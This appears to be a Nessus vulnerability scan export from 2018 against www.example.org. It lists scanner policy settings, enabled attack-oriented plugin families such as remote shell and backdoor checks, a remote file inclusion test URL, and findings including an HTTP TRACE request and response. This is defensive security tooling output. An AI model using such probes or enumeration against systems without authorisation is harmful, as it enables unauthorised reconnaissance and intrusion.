Checks[entry]:SCAP Benchmark ID #1 : +SCAP Benchmark ID #1 : +entry + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[entry]:SCAP Profile ID #1 : +SCAP Profile ID #1 : +entry + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[radio]:OVAL Result Type #1 : +OVAL Result Type #1 : +radio +Full results w/ system characteristics;Full results w/o system characteristics;Thin results +Full results w/ system characteristics;Full results w/o system characteristics;Thin results + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[file]:SCAP File (zip) #2 : +SCAP File (zip) #2 : +file + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[radio]:SCAP Version #2 : +SCAP Version #2 : +radio +1.2;1.1;1.0 +1.2;1.1;1.0 + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[entry]:SCAP Data Stream ID (1.2 only) #2 : +SCAP Data Stream ID (1.2 only) #2 : +entry + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[entry]:SCAP Benchmark ID #2 : +SCAP Benchmark ID #2 : +entry + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[entry]:SCAP Profile ID #2 : +SCAP Profile ID #2 : +entry + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[radio]:OVAL Result Type #2 : +OVAL Result Type #2 : +radio +Full results w/ system characteristics;Full results w/o system characteristics;Thin results +Full results w/ system characteristics;Full results w/o system characteristics;Thin results + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[file]:SCAP File (zip) #3 : +SCAP File (zip) #3 : +file + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[radio]:SCAP Version #3 : +SCAP Version #3 : +radio +1.2;1.1;1.0 +1.2;1.1;1.0 + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[entry]:SCAP Data Stream ID (1.2 only) #3 : +SCAP Data Stream ID (1.2 only) #3 : +entry + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[entry]:SCAP Benchmark ID #3 : +SCAP Benchmark ID #3 : +entry + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[entry]:SCAP Profile ID #3 : +SCAP Profile ID #3 : +entry + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[radio]:OVAL Result Type #3 : +OVAL Result Type #3 : +radio +Full results w/ system characteristics;Full results w/o system characteristics;Thin results +Full results w/ system characteristics;Full results w/o system characteristics;Thin results + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[file]:SCAP File (zip) #4 : +SCAP File (zip) #4 : +file + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[radio]:SCAP Version #4 : +SCAP Version #4 : +radio +1.2;1.1;1.0 +1.2;1.1;1.0 + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[entry]:SCAP Data Stream ID (1.2 only) #4 : +SCAP Data Stream ID (1.2 only) #4 : +entry + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[entry]:SCAP Benchmark ID #4 : +SCAP Benchmark ID #4 : +entry + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[entry]:SCAP Profile ID #4 : +SCAP Profile ID #4 : +entry + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[radio]:OVAL Result Type #4 : +OVAL Result Type #4 : +radio +Full results w/ system characteristics;Full results w/o system characteristics;Thin results +Full results w/ system characteristics;Full results w/o system characteristics;Thin results + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[file]:SCAP File (zip) #5 : +SCAP File (zip) #5 : +file + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[radio]:SCAP Version #5 : +SCAP Version #5 : +radio +1.2;1.1;1.0 +1.2;1.1;1.0 + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[entry]:SCAP Data Stream ID (1.2 only) #5 : +SCAP Data Stream ID (1.2 only) #5 : +entry + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[entry]:SCAP Benchmark ID #5 : +SCAP Benchmark ID #5 : +entry + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[entry]:SCAP Profile ID #5 : +SCAP Profile ID #5 : +entry + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[radio]:OVAL Result Type #5 : +OVAL Result Type #5 : +radio +Full results w/ system characteristics;Full results w/o system characteristics;Thin results +Full results w/ system characteristics;Full results w/o system characteristics;Thin results + +Patch Management: SCCM Server Settings +57029 +Patch Management: SCCM Server Settings[entry]:SCCM Server : +SCCM Server : +entry + + + +Patch Management: SCCM Server Settings +57029 +Patch Management: SCCM Server Settings[entry]:SCCM Domain : +SCCM Domain : +entry + + + +Patch Management: SCCM Server Settings +57029 +Patch Management: SCCM Server Settings[entry]:SCCM Username : +SCCM Username : +entry + + + +Patch Management: SCCM Server Settings +57029 +Patch Management: SCCM Server Settings[password]:SCCM Password : +SCCM Password : +password + + + +SMB Scope +10917 +SMB Scope[checkbox]:Request information about the domain +Request information about the domain +checkbox +yes +yes + +SMB Use Host SID to Enumerate Local Users +10860 +SMB Use Host SID to Enumerate Local Users[entry]:Start UID : +Start UID : +entry +1000 +1000 + +SMB Use Host SID to Enumerate Local Users +10860 +SMB Use Host SID to Enumerate Local Users[entry]:End UID : +End UID : +entry +1200 +1200 + +SMB Use Domain SID to Enumerate Users +10399 +SMB Use Domain SID to Enumerate Users[entry]:Start UID : +Start UID : +entry +1000 +1000 + +SMB Use Domain SID to Enumerate Users +10399 +SMB Use Domain SID to Enumerate Users[entry]:End UID : +End UID : +entry +1200 +1200 + +SMTP settings +11038 +SMTP settings[entry]:Third party domain : +Third party domain : +entry +example.edu +example.com + +SMTP settings +11038 +SMTP settings[entry]:From address : +From address : +entry +nobody@example.edu +nobody@example.com + +SMTP settings +11038 +SMTP settings[entry]:To address : +To address : +entry +postmaster@[AUTO_REPLACED_IP] +postmaster@[AUTO_REPLACED_IP] + +SNMP settings +19762 +SNMP settings[entry]:Community name : +Community name : +entry +public +public + +SNMP settings +19762 +SNMP settings[entry]:Community name (1) : +Community name (1) : +entry + + + +SNMP settings +19762 +SNMP settings[entry]:Community name (2) : +Community name (2) : +entry + + + +SNMP settings +19762 +SNMP settings[entry]:Community name (3) : +Community name (3) : +entry + + + +SNMP settings +19762 +SNMP settings[entry]:UDP port : +UDP port : +entry +161 +161 + +SNMP settings +19762 +SNMP settings[entry]:Additional UDP port (1) : +Additional UDP port (1) : +entry + +161 + +SNMP settings +19762 +SNMP settings[entry]:Additional UDP port (2) : +Additional UDP port (2) : +entry + +161 + +SNMP settings +19762 +SNMP settings[entry]:Additional UDP port (3) : +Additional UDP port (3) : +entry + +161 + +SNMP settings +19762 +SNMP settings[entry]:SNMPv3 user name : +SNMPv3 user name : +entry + + + +SNMP settings +19762 +SNMP settings[password]:SNMPv3 authentication password : +SNMPv3 authentication password : +password + + + +SNMP settings +19762 +SNMP settings[radio]:SNMPv3 authentication algorithm : +SNMPv3 authentication algorithm : +radio +MD5;SHA1 +MD5;SHA1 + +SNMP settings +19762 +SNMP settings[password]:SNMPv3 privacy password : +SNMPv3 privacy password : +password + + + +SNMP settings +19762 +SNMP settings[radio]:SNMPv3 privacy algorithm : +SNMPv3 privacy algorithm : +radio +AES;DES +AES;DES + +SonicWALL SonicOS Compliance Checks +71955 +SonicWALL SonicOS Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +SonicWALL SonicOS Compliance Checks +71955 +SonicWALL SonicOS Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +SonicWALL SonicOS Compliance Checks +71955 +SonicWALL SonicOS Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +SonicWALL SonicOS Compliance Checks +71955 +SonicWALL SonicOS Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +SonicWALL SonicOS Compliance Checks +71955 +SonicWALL SonicOS Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +SonicWALL SonicOS Compliance Checks +71955 +SonicWALL SonicOS Compliance Checks[file]:Offline config file (.txt or .zip) : +Offline config file (.txt or .zip) : +file + + + +SSH settings +14273 +SSH settings[entry]:SSH user name : +SSH user name : +entry +root +root + +SSH settings +14273 +SSH settings[password]:SSH password (unsafe!) : +SSH password (unsafe!) : +password + + + +SSH settings +14273 +SSH settings[file]:SSH public key to use : +SSH public key to use : +file + + + +SSH settings +14273 +SSH settings[file]:SSH private key to use : +SSH private key to use : +file + + + +SSH settings +14273 +SSH settings[password]:Passphrase for SSH key : +Passphrase for SSH key : +password + + + +SSH settings +14273 +SSH settings[radio]:Elevate privileges with : +Elevate privileges with : +radio +Nothing;sudo;su;su+sudo;dzdo;pbrun;Cisco 'enable' +Nothing;sudo;su;su+sudo;dzdo;pbrun;Cisco 'enable' + +SSH settings +14273 +SSH settings[entry]:Privilege elevation binary path (directory) : +Privilege elevation binary path (directory) : +entry + + + +SSH settings +14273 +SSH settings[entry]:su login : +su login : +entry + + + +SSH settings +14273 +SSH settings[entry]:Escalation account : +Escalation account : +entry +root +root + +SSH settings +14273 +SSH settings[password]:Escalation password : +Escalation password : +password + + + +SSH settings +14273 +SSH settings[file]:SSH known_hosts file : +SSH known_hosts file : +file + + + +SSH settings +14273 +SSH settings[entry]:Preferred SSH port : +Preferred SSH port : +entry +22 +22 + +SSH settings +14273 +SSH settings[entry]:Client version : +Client version : +entry +OpenSSH_5.0 +OpenSSH_5.0 + +SSH settings +14273 +SSH settings[entry]:Additional SSH user name (1) : +Additional SSH user name (1) : +entry + + + +SSH settings +14273 +SSH settings[password]:Additional SSH password (1) : +Additional SSH password (1) : +password + + + +SSH settings +14273 +SSH settings[entry]:Additional SSH user name (2) : +Additional SSH user name (2) : +entry + + + +SSH settings +14273 +SSH settings[password]:Additional SSH password (2) : +Additional SSH password (2) : +password + + + +SSH settings +14273 +SSH settings[entry]:Additional SSH user name (3) : +Additional SSH user name (3) : +entry + + + +SSH settings +14273 +SSH settings[password]:Additional SSH password (3) : +Additional SSH password (3) : +password + + + +SSH settings +14273 +SSH settings[entry]:Additional SSH user name (4) : +Additional SSH user name (4) : +entry + + + +SSH settings +14273 +SSH settings[password]:Additional SSH password (4) : +Additional SSH password (4) : +password + + + +SSH settings +14273 +SSH settings[entry]:Additional SSH user name (5) : +Additional SSH user name (5) : +entry + + + +SSH settings +14273 +SSH settings[password]:Additional SSH password (5) : +Additional SSH password (5) : +password + + + +SSL Certificate Expiry +15901 +SSL Certificate Expiry[entry]:Identify certificates that expire within x days +Identify certificates that expire within x days +entry +60 +60 + +SMB Registry : Start the Registry Service during the scan +35703 +SMB Registry : Start the Registry Service during the scan[checkbox]:Start the registry service during the scan +Start the registry service during the scan +checkbox +no +no + +SMB Registry : Start the Registry Service during the scan +35703 +SMB Registry : Start the Registry Service during the scan[checkbox]:Enable administrative shares during the scan +Enable administrative shares during the scan +checkbox +no +no + +Patch Management: Symantec Altiris Settings +78013 +Patch Management: Symantec Altiris Settings[entry]:Symantec Altiris Database Server : +Symantec Altiris Database Server : +entry + + + +Patch Management: Symantec Altiris Settings +78013 +Patch Management: Symantec Altiris Settings[entry]:Symantec Altiris Database Port : +Symantec Altiris Database Port : +entry +5690 +5690 + +Patch Management: Symantec Altiris Settings +78013 +Patch Management: Symantec Altiris Settings[entry]:Symantec Altiris Database Name : +Symantec Altiris Database Name : +entry +Symantec_CMDB +Symantec_CMDB + +Patch Management: Symantec Altiris Settings +78013 +Patch Management: Symantec Altiris Settings[checkbox]:Symantec Altiris Use Windows Credentials : +Symantec Altiris Use Windows Credentials : +checkbox +no +no + +Patch Management: Symantec Altiris Settings +78013 +Patch Management: Symantec Altiris Settings[entry]:Symantec Altiris Database Username : +Symantec Altiris Database Username : +entry + + + +Patch Management: Symantec Altiris Settings +78013 +Patch Management: Symantec Altiris Settings[password]:Symantec Altiris Database Password : +Symantec Altiris Database Password : +password + + + +Unix Compliance Checks +21157 +Unix Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Unix Compliance Checks +21157 +Unix Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Unix Compliance Checks +21157 +Unix Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Unix Compliance Checks +21157 +Unix Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Unix Compliance Checks +21157 +Unix Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Unix File Contents Compliance Checks +72095 +Unix File Contents Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Unix File Contents Compliance Checks +72095 +Unix File Contents Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Unix File Contents Compliance Checks +72095 +Unix File Contents Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Unix File Contents Compliance Checks +72095 +Unix File Contents Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Unix File Contents Compliance Checks +72095 +Unix File Contents Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +VMware vCenter/vSphere Compliance Checks +64455 +VMware vCenter/vSphere Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +VMware vCenter/vSphere Compliance Checks +64455 +VMware vCenter/vSphere Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +VMware vCenter/vSphere Compliance Checks +64455 +VMware vCenter/vSphere Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +VMware vCenter/vSphere Compliance Checks +64455 +VMware vCenter/vSphere Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +VMware vCenter/vSphere Compliance Checks +64455 +VMware vCenter/vSphere Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +VMware SOAP API Settings +57395 +VMware SOAP API Settings[entry]:VMware user name : +VMware user name : +entry + + + +VMware SOAP API Settings +57395 +VMware SOAP API Settings[password]:VMware password : +VMware password : +password + + + +VMware SOAP API Settings +57395 +VMware SOAP API Settings[checkbox]:Ignore SSL Certificate : +Ignore SSL Certificate : +checkbox +no +no + +VMware vCenter SOAP API Settings +63060 +VMware vCenter SOAP API Settings[entry]:VMware vCenter host : +VMware vCenter host : +entry + + + +VMware vCenter SOAP API Settings +63060 +VMware vCenter SOAP API Settings[entry]:VMware vCenter port : +VMware vCenter port : +entry +443 +443 + +VMware vCenter SOAP API Settings +63060 +VMware vCenter SOAP API Settings[entry]:VMware vCenter user name : +VMware vCenter user name : +entry + + + +VMware vCenter SOAP API Settings +63060 +VMware vCenter SOAP API Settings[password]:VMware vCenter password : +VMware vCenter password : +password + + + +VMware vCenter SOAP API Settings +63060 +VMware vCenter SOAP API Settings[checkbox]:SSL : +SSL : +checkbox +yes +yes + +VMware vCenter SOAP API Settings +63060 +VMware vCenter SOAP API Settings[checkbox]:Verify SSL Certificate : +Verify SSL Certificate : +checkbox +no +no + +Web Application Tests Settings +39471 +Web Application Tests Settings[checkbox]:Enable web applications tests +Enable web applications tests +checkbox +no +no + +Web Application Tests Settings +39471 +Web Application Tests Settings[entry]:Maximum run time (min) : +Maximum run time (min) : +entry +60 +5 + +Web Application Tests Settings +39471 +Web Application Tests Settings[checkbox]:Try all HTTP methods +Try all HTTP methods +checkbox +no +no + +Web Application Tests Settings +39471 +Web Application Tests Settings[radio]:Combinations of arguments values +Combinations of arguments values +radio +one value;some pairs;all pairs (slower but efficient);some combinations;all combinations (extremely slow) +some pairs + +Web Application Tests Settings +39471 +Web Application Tests Settings[checkbox]:HTTP Parameter Pollution +HTTP Parameter Pollution +checkbox +no +yes + +Web Application Tests Settings +39471 +Web Application Tests Settings[radio]:Stop at first flaw +Stop at first flaw +radio +per CGI;per port (quicker);per parameter (slow);look for all flaws (slower) +per CGI + +Web Application Tests Settings +39471 +Web Application Tests Settings[checkbox]:Test embedded web servers +Test embedded web servers +checkbox +no +no + +Web Application Tests Settings +39471 +Web Application Tests Settings[entry]:URL for Remote File Inclusion : +URL for Remote File Inclusion : +entry +http://rfi.nessus.org/rfi.txt +http://rfi.nessus.org/rfi.txt + +Web mirroring +10662 +Web mirroring[entry]:Number of pages to mirror : +Number of pages to mirror : +entry +1000 +1000 + +Web mirroring +10662 +Web mirroring[entry]:Maximum depth : +Maximum depth : +entry +6 +6 + +Web mirroring +10662 +Web mirroring[entry]:Start page : +Start page : +entry +/ +/ + +Web mirroring +10662 +Web mirroring[entry]:Excluded items regex : +Excluded items regex : +entry +/server_privileges\.php|logout +/server_privileges\.php|logout + +Web mirroring +10662 +Web mirroring[checkbox]:Follow dynamic pages : +Follow dynamic pages : +checkbox +no +no + +Wake-on-LAN +52616 +Wake-on-LAN[file]:List of MAC addresses for Wake-on-LAN: +List of MAC addresses for Wake-on-LAN: +file + + + +Wake-on-LAN +52616 +Wake-on-LAN[entry]:Time to wait (in minutes) for the systems to boot: +Time to wait (in minutes) for the systems to boot: +entry +5 +5 + +Malicious Process Detection +59275 +Malicious Process Detection[file]:Additional MD5 hashes (optional) : +Additional MD5 hashes (optional) : +file + + + +Malicious Process Detection +59275 +Malicious Process Detection[file]:Known good MD5 hashes (optional) : +Known good MD5 hashes (optional) : +file + + + +Malicious Process Detection +59275 +Malicious Process Detection[file]:Yara rules file : +Yara rules file : +file + + + +Malicious Process Detection +59275 +Malicious Process Detection[checkbox]:disable_dns_resolution +disable_dns_resolution +checkbox +no +no + +Malicious Process Detection +59275 +Malicious Process Detection[checkbox]:enable_malware_scanning +enable_malware_scanning +checkbox +no +no + +Patch Management: WSUS Server Settings +57031 +Patch Management: WSUS Server Settings[entry]:WSUS Server : +WSUS Server : +entry + + + +Patch Management: WSUS Server Settings +57031 +Patch Management: WSUS Server Settings[entry]:WSUS Port : +WSUS Port : +entry + + + +Patch Management: WSUS Server Settings +57031 +Patch Management: WSUS Server Settings[entry]:WSUS Username : +WSUS Username : +entry + + + +Patch Management: WSUS Server Settings +57031 +Patch Management: WSUS Server Settings[password]:WSUS Password : +WSUS Password : +password + + + +Patch Management: WSUS Server Settings +57031 +Patch Management: WSUS Server Settings[checkbox]:SSL : +SSL : +checkbox +no +no + +Patch Management: WSUS Server Settings +57031 +Patch Management: WSUS Server Settings[checkbox]:Verify SSL Certificate : +Verify SSL Certificate : +checkbox +no +no + + + +MacOS X Local Security Checks +disabled + +Offsec Plugins Disabled +mixed + +F5 Networks Local Security Checks +disabled + +Solaris Local Security Checks +disabled + +Port scanners +mixed + +Mandriva Local Security Checks +disabled + +Debian Local Security Checks +disabled + +Denial of Service +disabled + +HP-UX Local Security Checks +disabled + +Palo Alto Local Security Checks +disabled + +VMware ESX Local Security Checks +disabled + +Oracle Linux Local Security Checks +disabled + +Red Hat Local Security Checks +disabled + +FreeBSD Local Security Checks +disabled + +Amazon Linux Local Security Checks +disabled + +Slackware Local Security Checks +disabled + +Huawei Local Security Checks +disabled + +Gentoo Local Security Checks +disabled + +Fedora Local Security Checks +disabled + +Ubuntu Local Security Checks +disabled + +Virtuozzo Local Security Checks +disabled + +Junos Local Security Checks +disabled + +SuSE Local Security Checks +disabled + +Policy Compliance +disabled + +OracleVM Local Security Checks +disabled + +CentOS Local Security Checks +disabled + +AIX Local Security Checks +disabled + +Scientific Linux Local Security Checks +disabled + +Default Unix Accounts +enabled + +General +enabled + +RPC +enabled + +Settings +enabled + +Mobile Devices +enabled + +Windows : User management +enabled + +CISCO +enabled + +Firewalls +enabled + +Service detection +enabled + +Netware +enabled + +Gain a shell remotely +enabled + +Misc. +enabled + +Databases +enabled + +SMTP problems +enabled + +Windows : Microsoft Bulletins +enabled + +SCADA +enabled + +CGI abuses +enabled + +Offsec Plugins +enabled + +FTP +enabled + +SNMP +enabled + +Incident Response +enabled + +Windows +enabled + +DNS +enabled + +Peer-To-Peer File Sharing +enabled + +Backdoors +enabled + +Web Servers +enabled + +CGI abuses : XSS +enabled + + +200015 +WebSphere Detection - Java Unserialize RCE +Offsec Plugins Disabled +enabled + +34220 +Netstat Portscanner (WMI) +Port scanners +enabled + +14274 +Nessus SNMP Scanner +Port scanners +enabled + +14272 +Netstat Portscanner (SSH) +Port scanners +enabled + +100171 +Oracle Linux 6 / 7 : ghostscript (ELSA-2017-1230) +Oracle Linux Local Security Checks +enabled + +34277 +Nessus UDP Scanner +Port scanners +disabled + +10180 +Ping the remote host +Port scanners +enabled + +10335 +Nessus TCP scanner +Port scanners +disabled + +11219 +Nessus SYN scanner +Port scanners +enabled + +200010 +VNC password bruteforce +Offsec Plugins Disabled +disabled + +1337006 +IPMI 2.0 RAKP Cipher Zero Authentication Bypass with Privileged Level (auxiliary/scanner/ipmi/ipmi_cipher_zero_privileged) +Offsec Plugins Disabled +disabled + + + + + +Fri Jan 12 15:15:40 2018 +1515766540 +false +MYCONFIG +6 +cpe:/o:linux:linux_kernel +linux +cpe:/o:linux:linux_kernel:2.6 +general-purpose +Linux Kernel 2.6 +123.123.123.123 +? +123.123.123.1 +123.123.123.123 +www.example.org +Fri Jan 12 15:09:19 2018 + + +all +This plugin displays, for each tested host, information about the scan itself : + + - The version of the plugin set. + - The type of scanner (Nessus or Nessus Home). + - The version of the Nessus Engine. + - The port scanner(s) used. + - The port range scanned. + - Whether credentialed or third-party patch management checks are possible. + - The date of the scan. + - The duration of the scan. + - The number of hosts scanned in parallel. + - The number of checks done in parallel. +scan_info.nasl +2017/10/26 +Nessus Scan Information +2005/08/26 +summary +None +$Revision: 1.90 $ +n/a +This plugin displays information about the Nessus scan. +Information about this scan : + +Nessus version : 6.3.7 (Nessus 6.10.5 is available.) + +Plugin feed version : 201712062015 +Scanner edition used : Nessus + +ERROR: Your plugins have not been updated since 2017/12/6 +Performing a scan with an older plugin set will yield out-of-date results and +produce an incomplete audit. Please run nessus-update-plugins to get the +newest vulnerability checks from Nessus.org. + +Scan type : Normal +Scan policy used : GARGI +Scanner IP : 123.123.123.2 +Port scanner(s) : nessus_syn_scanner +Port range : default +Thorough tests : no +Experimental tests : no +Paranoia level : 1 +Report verbosity : 1 +Safe checks : yes +Optimize the test : yes +Credentialed checks : no +Patch management checks : None +CGI scanning : disabled +Web application tests : disabled +Max hosts : 100 +Max checks : 5 +Recv timeout : 5 +Backports : None +Allow post-scan editing: Yes +Scan Start Date : 2018/1/12 15:09 CET +Scan duration : 356 sec + + + +all +By using information obtained from a Nessus scan, this plugin reports CPE (Common Platform Enumeration) matches for various hardware and software products found on a host. + +Note that if an official CPE is not available for the product, this plugin computes the best possible CPE based on the information available from the scan. +cpe.nbin +2017/06/06 +Common Platform Enumeration (CPE) +2010/04/21 +local +None +$Revision: 1.70$ +http://cpe.mitre.org/ +https://nvd.nist.gov/products/cpe +n/a +It was possible to enumerate CPE names that matched on the remote system. + +The remote operating system matched the following CPE : + + cpe:/o:linux:linux_kernel:2.6 + + + +Based on the remote operating system, it is possible to determine what the remote system type is (eg: a printer, router, general-purpose computer, etc). +device_type.nasl +2011/05/23 +Device Type +2011/05/23 +combined +None +$Revision: 1.1 $ +n/a +It is possible to guess the remote device type. +Remote device type : general-purpose +Confidence level : 65 + + + +all +Using a combination of remote probes (e.g., TCP/IP, SMB, HTTP, NTP, SNMP, etc.), it is possible to guess the name of the remote operating system in use. It is also possible sometimes to guess the version of the operating system. +os_fingerprint.nasl +2017/08/29 +OS Identification +2003/12/09 +combined +None +$Revision: 2.43 $ +n/a +It is possible to guess the remote operating system. + +Remote operating system : Linux Kernel 2.6 +Confidence level : 65 +Method : SinFP + + +The remote host is running Linux Kernel 2.6 + + +The remote host contains a file named 'robots.txt' that is intended to prevent web 'robots' from visiting certain directories in a website for maintenance or indexing purposes. A malicious user may also be able to use the contents of this file to learn of sensitive documents or directories on the affected site and either retrieve them directly or target them for other attacks. +webserver_robot.nasl +238 +2014/05/09 +Web Server robots.txt Information Disclosure +1999/10/12 +remote +None +$Revision: 1.39 $ +http://www.robotstxt.org/wc/exclusion.html +Review the contents of the site's robots.txt file, use Robots META tags instead of entries in the robots.txt file, and/or adjust the web server's access controls to limit access to sensitive material. +The remote web server contains a 'robots.txt' file. +OSVDB:238 +Contents of robots.txt : + +User-agent: * +Disallow: /de/error/404/ +Sitemap: https://www.example.org/de/sitemap.xml +Sitemap: https://www.example.org/en/sitemap.xml + + +The remote HTTPS server is not enforcing HTTP Strict Transport Security (HSTS). The lack of HSTS allows downgrade attacks, SSL-stripping man-in-the-middle attacks, and weakens cookie-hijacking protections. +hsts_missing_on_https_server.nasl +2015/07/02 +HSTS Missing From HTTPS Server +2015/07/02 +remote +None +$Revision: 1.1 $ +https://tools.ietf.org/html/rfc6797 +Configure the remote web server to use HSTS. +The remote web server is not enforcing HSTS. + + The remote HTTPS server does not send the HTTP + "Strict-Transport-Security" header. + + + +This test gives some information about the remote HTTP protocol - the version used, whether HTTP Keep-Alive and HTTP pipelining are enabled, etc... + +This test is informational only and does not denote any security problem. +http_info.nasl +2017/11/13 +HyperText Transfer Protocol (HTTP) Information +2007/01/30 +remote +None +$Revision: 1.13 $ +n/a +Some information about the remote HTTP configuration can be extracted. + +Response Code : HTTP/1.1 404 Not Found + +Protocol version : HTTP/1.1 +SSL : no +Keep-Alive : no +Options allowed : GET, HEAD, POST, PUT, DELETE, OPTIONS +Headers : + + Server: Apache-Coyote/1.1 + Content-Length: 0 + Date: Fri, 12 Jan 2018 14:14:35 GMT + Connection: close + +Response Body : + + + + +This test gives some information about the remote HTTP protocol - the version used, whether HTTP Keep-Alive and HTTP pipelining are enabled, etc... + +This test is informational only and does not denote any security problem. +http_info.nasl +2017/11/13 +HyperText Transfer Protocol (HTTP) Information +2007/01/30 +remote +None +$Revision: 1.13 $ +n/a +Some information about the remote HTTP configuration can be extracted. + +Response Code : HTTP/1.1 302 Found + +Protocol version : HTTP/1.1 +SSL : yes +Keep-Alive : yes +Options allowed : (Not implemented) +Headers : + + Date: Fri, 12 Jan 2018 14:14:36 GMT + Server: Apache + Location: https://www.example.org/de/ + Content-Length: 215 + Keep-Alive: timeout=15, max=100 + Connection: Keep-Alive + Content-Type: text/html; charset=iso-8859-1 + +Response Body : + +<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> +<html><head> +<title>302 Found</title> +</head><body> +<h1>Found</h1> +<p>The document has moved <a href="https://www.example.org/de/">here</a>.</p> +</body></html> + + + +This test gives some information about the remote HTTP protocol - the version used, whether HTTP Keep-Alive and HTTP pipelining are enabled, etc... + +This test is informational only and does not denote any security problem. +http_info.nasl +2017/11/13 +HyperText Transfer Protocol (HTTP) Information +2007/01/30 +remote +None +$Revision: 1.13 $ +n/a +Some information about the remote HTTP configuration can be extracted. + +Response Code : HTTP/1.1 301 Moved Permanently + +Protocol version : HTTP/1.1 +SSL : no +Keep-Alive : yes +Options allowed : (Not implemented) +Headers : + + Date: Fri, 12 Jan 2018 14:14:36 GMT + Server: Apache + Location: https://www.example.org/ + Content-Length: 236 + Keep-Alive: timeout=15, max=100 + Connection: Keep-Alive + Content-Type: text/html; charset=iso-8859-1 + +Response Body : + +<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> +<html><head> +<title>301 Moved Permanently</title> +</head><body> +<h1>Moved Permanently</h1> +<p>The document has moved <a href="https://www.example.org/">here</a>.</p> +</body></html> + + + +9506 +9561 +11604 +33374 +37995 +288308 +867593 +CVE-2003-1567 +CVE-2004-2320 +CVE-2010-0386 +5.0 +4.3 +CVSS2#E:H/RL:OF/RC:C +CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N +16 +200 +The remote web server supports the TRACE and/or TRACK methods. TRACE and TRACK are HTTP methods that are used to debug web server connections. +true +No exploit is required +xst_http_trace.nasl +877 +3726 +5648 +11408 +50485 +2016/11/23 +HTTP TRACE / TRACK Methods Allowed +2003/01/23 +remote +Medium +$Revision: 1.65 $ +http://www.cgisecurity.com/whitehat-mirror/WH-WhitePaper_XST_ebook.pdf +http://www.apacheweek.com/issues/03-01-24 +http://download.oracle.com/sunalerts/1000718.1.html +Disable these methods. Refer to the plugin output for more information. +Debugging functions are enabled on the remote web server. +2003/01/20 +OSVDB:877 +OSVDB:3726 +OSVDB:5648 +OSVDB:11408 +OSVDB:50485 +CERT:288308 +CERT:867593 +CWE:16 +CWE:200 + +To disable these methods, add the following lines for each virtual +host in your configuration file : + + RewriteEngine on + RewriteCond %{REQUEST_METHOD} ^(TRACE|TRACK) + RewriteRule .* - [F] + +Alternatively, note that Apache versions 1.3.34, 2.0.55, and 2.2 +support disabling the TRACE method natively via the 'TraceEnable' +directive. + +Nessus sent the following TRACE request : + +------------------------------ snip ------------------------------ +TRACE /Nessus1152082554.html HTTP/1.1 +Connection: Close +Host: www.example.org +Pragma: no-cache +User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0) +Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */* +Accept-Language: en +Accept-Charset: iso-8859-1,*,utf-8 + +------------------------------ snip ------------------------------ + +and received the following response from the remote server : + +------------------------------ snip ------------------------------ +HTTP/1.1 200 OK +Date: Fri, 12 Jan 2018 14:14:25 GMT +Server: Apache +Keep-Alive: timeout=15, max=100 +Connection: Keep-Alive +Transfer-Encoding: chunked +Content-Type: message/http + + +TRACE /Nessus1152082554.html HTTP/1.1 +Connection: Keep-Alive +Host: www.example.org +Pragma: no-cache +User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0) +Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */* +Accept-Language: en +Accept-Charset: iso-8859-1,*,utf-8 + +------------------------------ snip 